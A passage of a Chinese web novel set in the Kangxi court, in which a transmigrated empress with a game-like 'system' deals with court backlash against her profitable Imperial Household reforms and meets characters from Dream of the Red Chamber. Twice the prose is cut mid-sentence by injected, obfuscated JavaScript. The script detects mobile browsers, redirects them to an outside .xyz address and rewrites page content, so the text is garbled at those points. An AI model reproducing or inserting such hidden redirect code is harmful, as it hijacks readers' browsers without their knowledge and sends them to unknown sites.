珠兰唇角微扬,“皇上不如问问他,想要什么?”她特意扫过王子腾紧绷的后颈,这少年的两个妹妹,一个该许配给荣国府二老爷政,一个会嫁入皇商薛家。若任其参选宫女,日后姻缘恐生变数,那金陵十二钗就见不到了,若是少了主角,没了点数可怎么整。 今日见这王子腾,系统面板显示红楼新地图已开四分之一。 “奴才...奴才斗胆求恳!”王子腾猛地匍匐在地,眼中竟然泛起血丝,“奴才两个妹妹体弱多病、容貌粗陋,实在不堪侍奉贵人!恳请陛下开恩,免去她们内务府小选!”他额头重重砸在金砖上,声音里带着破釜沉舟的决然。这一求,等于亲手斩断了王家攀附皇室的捷径。 康熙闻言挑眉,与珠兰对视一眼。少年单薄的脊背在龙纹地毯上投下细小的影子,却让他想起索额图前日将琉璃功劳尽数让出时的坦荡,想起葛布喇对索额图、心裕的友爱。 这王氏子虽无煊赫家世,却与赫舍里氏兄弟般,将手足情谊置于仕途青云之上。 珠兰垂眸听着康熙与王子腾的问答,王氏与贾氏本是金陵同乡,当年与那史氏、薛氏一起举家投奔关外,在白山黑水间挣下出身,又一同从龙入关,用血肉之躯换得军功。 相较贾代善在朝堂上的站错队表错情,王子腾之父早逝反成了转机。 当两黄旗与两白旗的站队风波席卷朝野时,王家意外避开了这场漩涡,虽只得了个中等伯爵,却也因祸得福。 如今爵位降为子爵,比承袭轻车都尉的贾赦也整整高出两等。 这微妙的位阶差,恰似两族命运的分水岭——一个在老宅装病避世,一个却在琉璃 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皇帝在与王子腾叙话时,梁九功给换了一面王子腾带来的高清玻璃镜子,皇帝抽空看了一眼。 哟呵,朕长这个模样啊。 系统显示,王子腾的忠诚度已攀升至85,比索额图的还高。 终归是少年人好骗…… 这少年人还喜欢提拔亲戚,这是个好消息。珠兰看着系统,薛家也是王氏的老辈姻亲人家,还是个皇商,不愁见不到了。 暮春的阳光透过慈宁宫雕花窗棂,在金砖地面投下斑驳光影。 史夫人牵着八岁的贾敏踏入殿内,素衣的下摆扫过冰凉的青砖,母女二人如同两株误入金殿的寒梅,在檀香萦绕的华贵气息中显得格格不入。 “奴才史睍,携小女贾敏,叩见太皇太后!”话音未落,额头已重重触地,贾敏亦学着母亲的模样,怯生生地伏下身子,鸦青发辫垂落如墨缎。 “快起来,赐座。”太皇太后拄着雕花紫檀杖,浑浊的目光掠过史睍鬓边的素银簪,苍老的声音里带着几分感慨。 宫人即刻搬来绣墩,史睍却只敢挨着半面坐下,膝头绞着的素绢早已被攥出细密的褶皱。贾敏则垂眸立在母亲身侧,纤薄的肩膀微微瑟缩,两弯似蹙非蹙的笼烟眉下,一双含情目怯生生地盯着自己的鞋面,仿佛那里藏着整个世界的安全感。 “还记得当年你们带着玄烨出宫避痘的日子...”太皇太后摩挲着扶手,记忆的闸门被缓缓拉开,“你和孙湘在庄子里日夜守着,每夜都要起来查看十几次,生怕有个闪失。”她的声音渐渐哽咽,殿内众人皆屏息凝神。 史睍听得眼眶泛红,往事如潮水般涌上心头——当年若不是贾代善以家中幼子需人照料为由,执意要她离宫,她又怎会只做了短短两年皇子保姆?也正因如此,康熙对孙氏的深厚情谊人尽皆知,而对她,却始终只是维持着面上的恭敬。抬旗,念叨了一辈子,爵位没了,还进了汉军旗。 史睍心中一动,想起方才在内务府门前偶遇意气风发的王子腾。那个同样出身金陵旧族的年轻人,凭借着琉璃窑的功绩崭露头角,虽说也不是科举正途,但与自家两个文不成武不就、只知守着祖荫的儿子足以形成鲜明对比。她咬了咬唇,原本到嘴边的“求太皇太后为赦、政兄弟谋个前程”的话,硬生生咽了回去。 史睍与太皇太后追忆过往,又说现在。“娘娘,敏儿这丫头自小就聪慧。”她轻抚贾敏的发顶,语气中满是骄傲,“三岁便能背《女诫》《论语》,前日还缠着塾师问《列女传》里的典故,非得弄明白缇萦救父的缘由不可。”说着,她轻轻推了推女儿,“敏儿,快给太皇太后背一段。” 贾敏怯生生地抬起头,雪色的肌肤在阳光下泛着珍珠般的光泽,一双含情目仿佛藏着江南的烟雨,轻声背诵起来。 太皇太后原本微阖的眼睛蓦地一亮,招手唤道:“乖孩子,近前来让哀家瞧瞧。”这孩子年纪小了些,但是养两年…… 贾敏莲步轻移,单薄的身影在光影中摇曳,恍若弱柳扶风,端的是我见犹怜。 “倒是个灵透的!”太皇太后满意地点点头,转头对内侍道,“去叫端敏过来,就说哀家这儿有个有趣的小客人。” 不多时,端敏格格踩着花盆底鞋款步而入。她身着镶金线的旗装,气质华贵而疏离。在见到贾敏的瞬间眼前一亮——那少女身姿婀娜,眉眼间似有万种风情,欲说还休的神态,活脱脱是从画中走出来的江南仕女。人与人之间,有些时候就是看着顺眼不顺眼。 “你整日在宫里闷着,正好有个伶俐妹妹陪着解闷。”太皇太后慈爱地拉过贾敏的小手,“不如就留在宫里,给你做个伴读。” 史睍心中猛地一震,反应过来后立刻拉着贾敏跪地谢恩:“奴才与敏儿谢过太皇太后恩典!” 端敏格格亲自上前搀起贾敏,指尖触到少女纤细的手腕,只觉温软如春水。望着贾敏低垂的眼睫在脸颊投下蝶翼般的阴影,她心中暗想:有这样灵秀的伴读在侧,身边也能添彩三分。 某处勋贵府邸 “阿玛,咱家与赫舍里家还有亲,这般算计是为何?” “小兔崽子,你当蜂窝煤是怎么来的,没听说内务府又新出了净透的琉璃吗?再这么下去,朝中葛布喇一家独大还不够,京里也要挤兑的咱们要没地方站了。有亲如何,也没见索额图知道上门孝敬。” “那咱们找那明日黄花的老头子作甚,那个老奴才心思可不正,当初跟着鳌拜没少给咱添堵心。” “赫舍里该回归后宫争宠的正确路途了,总在前朝霍霍咱们不好。一毛不拔的内务府,不是好内务府。索尼不知道管束儿子,咱们得教教他懂事。” “哦。” “对了,阿玛,我听说江南甄氏有一女,倾国倾城。” 44. 皇帝之怒 暮春的风卷着柳絮掠过神武门,史夫人独自踏出宫门,回首望着朱墙黄瓦在暮色中渐成剪影。 她攥着空荡荡的衣袖,指尖还残留着方才松开贾敏小手时的温软——宫中规矩森严,伴读不得携带家仆,八岁的女儿此刻正孤零零留在端敏格格的寝殿里。抬眸望向湛蓝的天空,或许贾家的转机,就藏在这深宫的重重帷幕之中。 寿康宫内,端敏格格握着贾敏的手细细端详,见少女垂泪时睫毛沾着碎钻般的水光,愈发怜惜。“咱们都有个''敏''字,倒像是打小的缘分。” 她轻抚贾敏鬓角,特意吩咐:“不必避讳,就用本名。”转头又唤来皇后亲赐的女官冬萧,“去内务府说项,给敏丫头置全四季衣裳、文房器具。” 冬萧领命而去,去养心殿回禀时,恰好撞见刚从乾清宫归来的皇后。 珠兰斜倚在湘妃竹榻上,听她禀明贾敏留宫之事,唇角忽地勾起一抹了然的笑。 太皇太后这招“赐伴读”,分明是给贾家抛的救命绳——王家因琉璃之功崭露头角,贾家这颗甜枣来得正巧。 珠兰起身,石青缎绣翟纹宫裙扫过满地落花,“先去慈宁宫请安,再往寿康宫拜见太后。” 她望着宫墙上斑驳的日影,想起书中那个“心较比干多一窍”的林妹妹。 当贾敏怯生生福身行礼时,那双含情目里流转的哀愁,倒真与原初世界那本名著文字里的描述分毫不差。 系统提示音适时在耳畔响起,新地图缓缓展开第二格。 珠兰凝视着贾敏单薄的身影,指尖微痒——王家烧起来的琉璃窑火刚旺,贾家这盘棋,也该落子了。 宫外,也有人惦记着下棋。 某前辅政大臣家里,来了一波又一波的说客。他有些飘飘然,觉得也许自己还真的有些人脉在身,不然怎么那么多老亲突然上门,就把自己女儿一顿夸呢。 萨琳那么优秀,怎好与包衣之女同封庶妃。 定然是赫舍里氏从中阻挠,此女年幼时便爱生事,如今更是折腾的内务府不务正业掉进了钱眼里。 太皇太后定然已不满许久,他满地转悠着,明日便叫自家福晋递牌子进宫表忠心去,以后咱家就听太皇太后的了。 康熙五年四月,久违了的博尔济吉特阿日娜苏随着她父亲从科尔沁来到了京城会同馆。 作为蒙古科尔沁部三等公吉阿郁锡之女,太皇太后的侄孙女(其大哥吴克善的孙女),与顺治帝的废后、孝惠章皇后同出一族。 她的身份之尊贵,在顺治年就是皇后备选。 到了康熙年,也定然不是个庶妃能打发的,不然就是打太皇太后的脸了。怎么着,人入宫也得有正式的位分。 此番前来,正是来京中备嫁,所携嫁妆只比皇后少三成而已。 与此同时,前朝有一股妖风在吹,甚至吹到了卧病的索尼耳朵里。 暮春的雨丝斜斜掠过乾清宫的飞檐,康熙握着玉石镇纸的手微微收紧,案头弹劾后宫干政的奏折已摞成薄册。 自珠兰以雷霆之势在内务府推行了一系列“匠籍改制”“工坊合营”等措施,索额图又率匠人攻破蜂窝煤技术与玻璃工艺,原本入不敷出的内库如今银锭堆积如小山。 皇帝有了底气,有了银子,就是大爹,在前朝越发气焰嚣张。 户部和工部侍郎望着往年此时该由自己两家经手的宫殿修缮款,被康熙轻飘飘一句“内帑拨付”驳回,气得双双将茶盏重重掼在青砖上。不干活,哪里有油水可捞。内务府出钱,包衣奴才们干活,他户部和工部一点都沾不上。 “往年河道疏浚需奏请户部拨款三月,如今内务府三日便支了白银十万两!”都察院御史拍案而起,惊飞了檐下铜铃上栖息的鸟雀。这倒不是错处,只要是他这里少了弹劾户部办事拖沓的机会,少了出头的功绩,也少了进项。 往日背后掌控着工部采买、盐铁专营的宗室和勋贵们,看着内务府以流水线量产蜂窝煤抢占北方燃料市场,用琉璃镜置换南洋香料,那些曾装满自家库房的灰色收入正随着匠人们的欢呼流入内库。 已经有皇商坐不住,求到门上了。这是巨额利润,不比盐铁差。 可他们也没办法,皇后娘娘不松口,这活儿内务府把持的太严了。 索额图,因其尽忠职守,就这么犯了众怒。 当养心殿的西洋自鸣钟敲过三更,珠兰系统面板上出现了几个忠诚度在下降的小红点。珠兰睡得正香甜,眼皮都没抬一下。 几位举足轻重的八旗勋贵围坐在密室里,烛火将他们的影子扭曲成狰狞的兽形。他们已经将内务府所作所为视为蚕食自己的利益,终于在接二连三没自己的便宜可占之后按捺不住。皇上不能忘了,他是八旗的天子。 “后宫干政,成何体统!”某夜,都察院的密谈如火如荼。 次日清晨,“皇后应恪守祖训,归还内务府职权”的流言,便如瘟疫般在六部衙门间蔓延。 尽管康熙将所有弹劾奏折付之一炬,可暗流仍在青砖缝隙中悄然奔涌。 病榻上的索尼咳嗽着扯动锦被,苍老的手指死死攥住床柱。药碗蒸腾的热气模糊了他浑浊的双眼,却灼得他灵台清明——赫舍里氏一门助力皇帝亲政、扳倒鳌拜,如今又在内务府大显身手,风头之盛早已招致满朝侧目。 “叫索额图!”他猛地拍案,震得青瓷药碗在漆盘里打转,“即刻归家!把他在内务府的勾当,一桩桩说与我听!”葛布喇那边指望不上,这个老三不该糊涂啊。 当索额图顶着夜雨匆匆踏入垂花门,只见父亲枯瘦如柴的身形陷在绣榻里,唯有眼中厉芒不减当年。 “以为给皇上挣来金山银山,就能保赫舍里氏千秋万代?”索尼枯槁的手指突然钳住儿子手腕,浑浊老泪顺着沟壑纵横的脸颊滚落,“朝堂最忌鹤立鸡群!那些折子弹劾皇后干政?不!他们要咬的是我们赫舍里氏的咽喉!”老亲们是个啥德行,索尼怎么不知道,他们都是一个德行的人。 窗外惊雷炸响,照亮老人颤抖的白发,也照亮了索额图骤然血色尽失的面容——他发热的脑子凉了,终于看清,这场看似后宫与前朝的权力博弈,实则早已将整个家族卷入了万劫不复的风暴中心。 暮春的柳絮飘落在慈宁宫的丹陛上,被往来的绣鞋碾作尘泥。 苏麻喇姑立在廊下数着铜钉门环,从辰时到未时,遏必隆夫人的翟纹衣裙、康亲王福晋的东珠头饰,已先后五拨人影掠过鎏金兽首门环。每扇雕花槅扇开合时,都漏出几句含沙射影的话——“后宫干政坏了祖制”“内务府不该抢了六部差事”。 当最后一位福晋的青缎披风消失在甬道尽头,苏麻喇姑挑帘而入,便见太皇太后斜倚在榻上,手中的翡翠佛珠散落在绢帕上。案头堆着的名帖如小山,每张素笺上的烫金徽记都刺得人眼疼。老人眉心拧成川字,连鬓边的点翠凤凰都蔫头耷脑。 “早说她不像个中馈妇人,倒像皇上豢养的海东青。”太皇太后忽然开口,声音沙哑得像磨过砂纸,“当年教宗室活血强身的法子给出去,原本是要给珠兰赚个好人缘,如今这帮子亲戚倒成了喂不熟的白眼狼。”她望着窗外摇曳的宫槐,枯枝在青砖地上投下蛛网状的阴影。太皇太后平等的数落着,两边都没好评价。 苏麻喇姑正要开口,瞥见老人腕间缠着的皇后贡的赤金缠枝镯,话到嘴边又咽了回去。 却见太皇太后摆了摆手,银丝在晨光中微微发颤,“哀家岂不知珠兰的好?科尔沁的茶马互市、塞北新辟的商道,哪样离得开她在内务府大开方便之门?可这孩子锋芒太盛...” 她忽然剧烈咳嗽起来,锦帕掩住唇角时,露出一抹暗红,“再任由她这么折腾,赫舍里家的风头就要叫前面那些老狐狸眼红的出血了。”这孩子的脑袋里总有些让人想不通的生财之道,她和琪琪格在宫里这么多年,也没想出来给科尔沁致富的法子藏在商路里。科尔沁来信说,就是晋商来回一年给的份子钱,都没现在往返一次赚的多。 话音落地,殿内只余铜漏滴答声。苏麻喇姑看着老人眼底的血丝,忽然想起十多年前那个雪夜,太皇太后也是这般疲惫地抱着出痘的康熙。 “去养心殿传旨,”苍老的声音带着不容置疑的威严,“叫珠兰暂缓内务府的新章程,蜂窝煤、琉璃镜,好东西也要慢慢掏出来。再叫皇上拟个选秀章程,该给朝堂些新盼头了。”浑水好,浑水不易露出珍珠。而且,皇帝不亲女色之事,实在要重新找破局之法。 当苏麻喇姑转身时,身后传来佛珠相撞的轻响。太皇太后拾起散落的念珠,喃喃自语:“皇后的心思,该往皇帝身上放一放了。女人嘛,有了竞争,才知道珍惜男人。皇后总该知道,哀家就是在敲打她。罢了,哀家这把老骨头,还得再替孩子们撑一撑啊...”风卷着柳絮扑进殿内,将案头的名帖吹散,像极了这深宫中翻涌不息的暗流。 盛夏惊雷劈开铅云的刹那,乾清宫内紫檀御案发出刺耳的巨响。康熙猛地拍案而起,案头堆积的弹劾奏折如枯叶纷飞,《皇舆全览图》的边角被震得簌簌发抖。宝蓝色团龙纹袍袖扫过珐琅彩笔洗,青玉笔架轰然倒地,飞溅的墨汁在金砖地面晕染出狰狞的痕迹。 “当真以为朕是聋子瞎子?!”帝王一脚踹翻雕花绣墩,龙靴踏过,满地都是瑟缩跪着的宫女太监。 梁九功眉毛直跳,天子的火气越发大了,夜间腿脚抽筋睡不安稳,白天就爱踹东西。 珠兰的系统面板上,随着颜值的提升,康熙的健康又下降了。 皇帝额角青筋随着咆哮突突跳动,“江南赋税折银三十万两,到户部只剩十八万!河道修缮本应三月竣工,却生生拖到麦收时节!灾民易子而食的惨状,你们当朕不知?” 他抓起最上方的奏折狠狠撕碎,碎纸片如雪花般落在众人颤抖的脊背上,“这帮前朝大臣,自己没本事挣钱,只知道给朕使绊子。那税收银子以为朕不知道吗?地方上要截流,到了他们部院也要截流,出户部还要有一层截留,最后给朕能使的有三成还是两成?就这般,还要三月五月的拖下去,难不成还要朕使了银子给他们,他们才肯把户部的银子拿出来给朕用吗?哼!此刻不过就是看着内务府挣钱了,朕有了松快银子用,他们又眼红了。怎么还要把朕家里的产业分给他们这些大臣,他们才能满意吗?真把朕当十岁孩童了?如今内务府自谋财路,这群蛀虫倒跳出来指责后宫干政?”忍着膝盖的酸痛,皇帝的委屈大了。 可祖母怎么就不理解朕呢,朕绝不屈服。 苏麻喇姑望着少年帝王涨红的脖颈,记忆突然闪回十年前——那个可怜巴巴的幼童,此刻已化作目光如炬的真龙天子。 她正要上前劝慰,却见康熙猛然扯开胸前盘扣,露出因愤怒泛红的肌肤,龙纹金镶玉腰带在剧烈喘息间铮铮作响,“这些歪风分明是冲着朕的皇权吹来的!以为拿皇后开刀,就能断朕羽翼!朕乃天命之君,哼,大清的昭昭天命都在朕身上,朕若是屈服于这些臣子,岂非是丢祖宗的脸!” “主子息怒...”梁九功见皇上扯开了领子,就知道脾气升级了,得赶紧劝啊,不然要伤了龙体,大伙都要倒霉。 话音未落,康熙已猛地抬手制止,滑落的翡翠扳指在金砖上撞出清脆声响。 他大步走到鎏金蟠龙柱前,指尖深深抠进冰凉的龙鳞纹路,“姑姑可知?去年山西大旱,户部拨下的赈灾银,竟被各级衙门克扣大半!灾民吃观音土腹胀而死,奏折到了朝堂,却成了''地方安靖''!”帝王突然转身,眼底翻涌的怒意几乎要将整个乾清宫点燃,“若非内务府卖煤卖去了山西,朕还被蒙在鼓里。如今内务府以蜂窝煤暖万民,用琉璃镜通南洋,反成了罪过?!” 梁九功看着皇帝的手,心疼的不行,祖宗,可别抠破了皮啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975197|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 雨声骤然变大,豆大的雨点砸在琉璃瓦上噼里啪啦作响。康熙抓起狼毫,浓墨在明黄圣旨上肆意挥洒,墨迹顺着纹理蜿蜒如河,“内务府的买卖不会停,内务府的改制也不会断。索额图能干,朕便要一直用他。朕不仅要用他,还要赐他双眼花翎。另外,着再赐索尼一等公,世袭罔替!”哼,这本来是皇帝要等索尼死的时候才赐的。 唉哟,还好,手没破,咱不用挨板子了。 皇帝掷下笔管,任由墨渍在"皇后改制""索额图建功"等字迹上晕染:“告诉那群老匹夫,谁为朕分忧,朕便让他门楣生辉!”他忽然冷笑一声,眼中闪过凛冽杀意,“谁敢结党营私、暗施绊子...”话音戛然而止,唯有窗外电闪雷鸣,将帝王紧绷的下颌线照得锋利如刀。 梁九功捧着圣旨躬身退下时,听见身后传来瓷器碎裂的脆响。雨幕中回望,乾清宫的朱红廊柱在闪电中忽明忽暗,窗棂里透出的烛光被狂风撕扯得支离破碎,却始终顽强燃烧——恰似那位誓要荡平天下的少年帝王,在重重阻挠中愈燃愈烈的冲天壮志。天子聪慧,群臣龌龊瞒不过他。 暮春的惊雷同样在养心殿琉璃瓦上炸响,珠兰垂眸望着腕间流转的东珠。太皇太后的懿旨还带着慈宁宫的余韵,可面板上【太皇太后亲密度】的数值不曾变化,【皇帝亲密值】增长0.5。珠兰也不是几句话能吓到的,她只信任数据。 内务府的收益曲线如破土春笋节节攀升,珠兰看了一圈,工匠的数值都很正常,没有出现被收买后忠诚降低的情况。 好像还有几个皇商想求买卖的,先排着队吧。后头还有别的产品出了,再说。 只是索额图的【胆魄指数】从92骤降至87,让她想起昨天议事时,这位三叔在提及水泥工坊扩建时,喉结不自然地滚动了一下。 反观索尼的【猜忌值】正以肉眼可见的速度冲破警戒线,病榻上的老狐狸,怕是连药碗里的参汤都要疑心□□了。毕竟要是他骤然死了,葛布喇、索额图都得守孝。 “既要保赫舍里周全,又要压制锋芒...”她突然将鎏金护甲重重叩在紫檀案几上,震得案头《坤舆万国全图》微微发颤,可没了能量结晶,这步步惊心的棋局,拿什么续下去? 肥皂生产线的改良进度条即将突破90%,显微镜所需的精密齿轮在设计中,水泥里已经在加钢筋了,望远镜的抛物面镜基本完成——这些藏在工坊深处的秘密,此刻在数据洪流中化作蛰伏的巨兽,只待破土而出的瞬间。 停下来是不可能的,一点都不可能。 她要的从来不是赫舍里与爱新觉罗的千秋和万代,君权与臣权之争她不关心,可若要阻止她推动世界进程获取能量结晶,决然是不成。 窗外惊雷炸响,照亮她耳后新换的点翠凤凰钗——前朝想看赫舍里氏的笑话? 太皇太后的意思是给他们看一出精心编排的后宫大戏,以转移注意力。但必须先把内务府的幺蛾子停了,消停一段时间。 而在数据帷幕之下,水泥窑的火焰即将点燃,肥皂工坊的模具已经备好,那些即将改变天下的发明,正与这场无声的权力博弈,共同编织着新的时代图景。 赫舍里的笑话随便看,但珠兰绝不可能停下。 暴雨如注,铜壶滴漏的声响混着雨打芭蕉的碎音,在慈宁宫寝殿内交织成令人压抑的韵律。 苏麻喇姑跪伏在地,望着太皇太后布满老年斑的手背紧紧攥着佛珠,每颗檀木珠都被捏得发出细微的吱呀声。当她将乾清宫内"龙颜震怒,拍案踹凳,撕碎弹劾奏折"的场景娓娓道来时,老人指间的念珠突然绷断,珊瑚珠如血滴般滚落金砖地面,在寂静中炸响。 “还加封索尼一等公?!”太皇太后猛然撑着黄花梨雕花扶手起身,凤纹织金缎裙扫过镶嵌螺钿的炕几,青玉香炉与蜜供瓷碟轰然坠地。 她望着窗外被狂风撕扯的雨幕,浑浊的眼底翻涌着惊怒——仿佛已预见户部尚书握着被驳回拨款奏折的阴鸷冷笑,瞧见都察院御史们在廊下交头接耳时暗藏锋芒的眼神,这些无形的暗箭,正借着内务府改制的由头,悄然对准了帝王的软肋。 “选秀之事...皇上竟半点不肯松口?”老人枯瘦的指节死死抠进椅背,岁月侵蚀的木纹里渗出淡淡血痕。 苏麻喇姑瞥见太皇太后脖颈间暴起的青筋,那是二十年前面对多尔衮时才会显露的杀伐之气。殿外惊雷炸响,闪电照亮墙上褪色的《女诫图》,画中贤德后妃的面容在光影交错间扭曲变形。 “皇后接懿旨时倒是神态谦恭...”苏麻喇姑话音未落,便被一声饱含嘲讽的冷笑截断。 太皇太后抓起康熙幼时临摹的《孝经》残卷,泛黄的纸页在她颤抖的手中簌簌作响,“恭顺?有什么用。想必,那丫头转身就得了皇帝''一切如旧''的圣谕!” 剧烈的咳嗽突然袭来,老人用绣着金线的帕子掩住唇角,指缝间洇出的暗红血迹刺得人心惊,“玄烨被惯得太不知轻重!三藩盘踞南方养精蓄锐,罗刹在北疆虎视眈眈,草原各部心怀异志,此刻怎能再将满朝文武推向对立面?!” 殿内陷入令人窒息的死寂,唯有铜漏持续滴答作响。苏麻喇姑望着老人伛偻的背影,恍惚间想起三十几年前无数个夜,格格也是这般立在窗前。此刻摇曳的烛火将她的影子拉得很长,在素白墙面上显得格外单薄,却又透着历经三朝的凛冽威严。 “传哀家懿旨!”太皇太后骤然转身,东珠耳环在昏暗中划出冷冽的弧光,“长春宫钮祜禄萨琳,晋封贵妃;博尔济吉特阿日娜苏册为宣妃,赐居翊坤宫,三日后行册封大典。” 某处府邸 “阿玛,这招数真管用吗?” “三人成虎,且看着吧,今日不管用还有明日。” 珠兰:皇帝最近走的虐恋情深路线,我都不知怎么滴,亲密度就涨来了,谢谢你们啦。 45. 情愫暗生 她布满皱纹的手掌重重拍在炕几上,震得未碎的茶盏叮当作响,“苏麻,你当这是折损皇后?”苍老的指尖划过墙上斑驳的《女诫图》,“这是给满朝文武递梯子!后宫越热闹,他们的矛头就越会从内务府移开。将来,他们都要为了自己的女儿、外孙不断妥协。皇帝总该知道,哀家只是为了他好。” 苏麻喇姑欲言又止,却见太皇太后摆了摆手,缓缓坐回铺着貂裘的榻上。即便是夏日,太皇太后的身体也经不起冷风。 老人阖目仰躺,银丝在烛火下泛着冷光,每道皱纹里都盛满岁月沉淀的算计,“玄烨以为靠强硬就能震慑群臣,却不知治水之道在于疏堵结合...”她的声音渐渐低下去,带着难以察觉的疲惫,“罢了,哀家这把老骨头,就再替他收拾一回烂摊子吧。” 殿外雨势渐歇,更鼓声穿透潮湿的空气传来。惊起的寒鸦扑棱棱掠过宫墙,慈宁宫的烛火在风雨中明明灭灭。 这场发生在深宫帷幕后的权力博弈,正如同江南梅雨时节的暗流,表面波澜不惊,实则早已卷起滔天巨浪,将朝堂、后宫乃至整个大清的命运,都裹挟进了未知的漩涡之中。 卯时三刻的乾清宫,龙涎香混着未燃尽的奏章焦味在殿内弥漫。 康熙将朱批重重掷在案头,鎏金笔架被震得滑出半寸,在青砖上拖出刺耳声响。“祖母终究还是插手了!”他猛然攥紧袖口,指节泛白如霜,望着窗外被晨雾笼罩的太和殿飞檐,满心皆是被操控的愤懑——昨日还在朝堂上与群臣针锋相对,今日太皇太后的两道懿旨,竟似一记闷棍打在他筹划许久的棋局上。 理智如冰泉漫过心头,他何尝不知老祖宗是想用后宫制衡之术,缓解内务府改制引发的朝野震荡。 可少年帝王的骄傲在胸腔翻涌,那些关于"示弱""后退"的字眼,像芒刺般扎进他的尊严。 “朕的江山,何须他人指手画脚!”他踢开脚边绣墩,玄色团龙袍带扫过满地颤抖的太监宫女,大步往养心殿而去。 梁九功小跑着紧跟其后,蟒纹荷包里的金怀表撞出细碎声响。一众小太监屏息敛气,连鞋底蹭过金砖的细微响动都刻意压制,生怕惊了这位随时可能爆发的少年天子。 穿过九曲游廊时,康熙忽觉腰间玉佩硌得生疼,那是太皇太后所赐,此刻却似滚烫烙铁,灼得他心绪愈发烦躁。 养心殿外,海棠花瓣被晨露压得低垂。当康熙掀开杏黄锦缎帘子,扑面而来的是胭脂香混着犬类特有的暖烘烘气息。 珠兰半倚在湘妃竹榻上,月白捻金绣鞋轻轻晃动,逗弄着脚边蜷成墨团的小狗。而塔娜跪坐在猩红猩猩毡毯上,正将珊瑚铃铛系在小狗颈间,银铃轻响中,少女鬓边绢花随着动作微微颤动。 那只四爪带白的小黑狗忽地支起耳朵,琥珀色眼珠盯着陌生闯入的龙袍,却只是摇了摇尾巴,又埋头拱进珠兰掌心。 康熙望着两张赫舍里氏特有的鹅蛋脸——珠兰眼角含着温柔笑意,塔娜睫毛轻颤如蝶翼,在晨光中晕染出柔和的光晕。莫名地,胸腔里翻涌的怒火竟像被春雪消融的冰河,潺潺流散。 “恭请皇上圣安。”二女盈盈下拜,裙裾扫过满地落花。 塔娜垂眸时,余光瞥见康熙腰间晃动的龙纹玉佩,再抬眼,正对上那双盛着晨露般清冽的眸子。不知怎的,她耳尖骤然发烫,指尖无意识摩挲着袖中藏着的半幅刺绣——那是昨夜为小狗缝制衣裳时,偷偷绣上的并蒂莲纹样。 而在这方被犬吠与轻笑填满的天地里,少年帝王暂时忘却了朝堂上的刀光剑影,只觉紧绷的神经,终于在这一刻得到了久违的松弛。 晨光透过养心殿的雕花窗棂,在康熙棱角分明的侧脸上镀了层金边。塔娜攥着珊瑚铃铛的指尖微微发颤,恍惚间竟觉得那龙袍上的金线都不及眼前人眉眼璀璨。 多日未见,帝王的轮廓愈发清俊,剑眉下那双眼眸盛着寒星般的锋芒,偏生在看向小狗时又染上几分柔和,这般矛盾的气质,直看得她心口发烫。 少女耳尖迅速漫上胭脂色,慌忙低头时,发间东珠步摇轻轻晃动。她向来钟爱一切美好的事物——御花园新开的并蒂莲、内务府新贡的珐琅彩瓶,还有此刻近在咫尺的天家贵胄。 这份喜爱或许如朝露般短暂,却在目光交汇的刹那,绽放出最炽热纯粹的光芒。塔娜咬着下唇,偷偷抬眼望去,正撞见康熙似笑非笑的眼神,慌乱间珊瑚铃铛掉在地上,清脆的声响惊得小黑狗汪汪叫了起来。 塔娜几乎是条件反射般将毛茸茸的小家伙搂进怀中,小狗温热的体温透过织锦袄子传来,却不及她发烫的脸颊温度。 “奴才告退!”话音未落,少女已福了福身,发间珍珠流苏随着动作晃出细碎银光,不等珠兰开口挽留,便如受惊的小鹿般闪身出了殿门,裙裾掠过门槛时带起一阵风,将案头的绣样都掀得簌簌作响。 珠兰望着妹妹消失在游廊转角的背影,檀木梳还握在手中,指尖残留着塔娜发间的茉莉香。再转头时,正撞见康熙眼底未散的笑意——方才还乌云压城的帝王,此刻竟被这莽撞的少女逗得眉眼舒展。龙袍下摆扫过满地海棠花瓣,康熙缓步上前,伸手替她拂去肩头落英:“你这妹妹...倒比朕的驯兽更会讨喜。” 殿外传来塔娜渐行渐远的脚步声,混着小狗偶尔的轻吠。珠兰望着皇帝渐渐柔和的面容,忽然想起昨夜内务府送来的加急密报,想起朝堂上暗潮汹涌的弹劾,再看看此刻带着几分孩子气的少年帝王,忍不住轻笑出声。晨光穿透琉璃窗,在金砖地面投下交错的光影,将满室的剑拔弩张,都化作了这片刻的温柔与惬意。 珠兰指尖抚过鎏金缠枝纹烛台,将最后一盏羊角灯挑亮,暖黄光晕漫过新换的茜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15980786|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色窗纱。 “长春宫已按贵妃规制重饰,刚叫人送了十二扇湘妃竹屏风过去。”她侧头望向康熙,鬓边点翠步摇随着动作轻晃,“萨琳只挑了二十箱西学典籍,整日窝在观星楼里,连晨昏定省都免了两位庶妃的。” 康熙自然明白珠兰话中深意——钮祜禄家的女儿,自入宫起便与家族划清界限,既未借皇后之势插手内务府,更未替父兄谋取半分利益。想到太皇太后特意将这般清流抬为贵妃,倒不失为安抚朝臣的妙棋,他轻叹一声将奏折推至一旁,“随她去吧,不过是多花些银子养着罢了,朕养得起。” 话音未落,珠兰已盈盈走近,袖口茉莉香混着龙涎气息在暖阁中氤氲。“至于宣妃...”她指尖轻点案头《坤舆万国全图》,划过阿日娜苏故乡的位置,“科尔沁的小雏鹰,活泼可爱,性子比男儿还飒爽。皇上看着她长大,再次见面定会喜欢...” 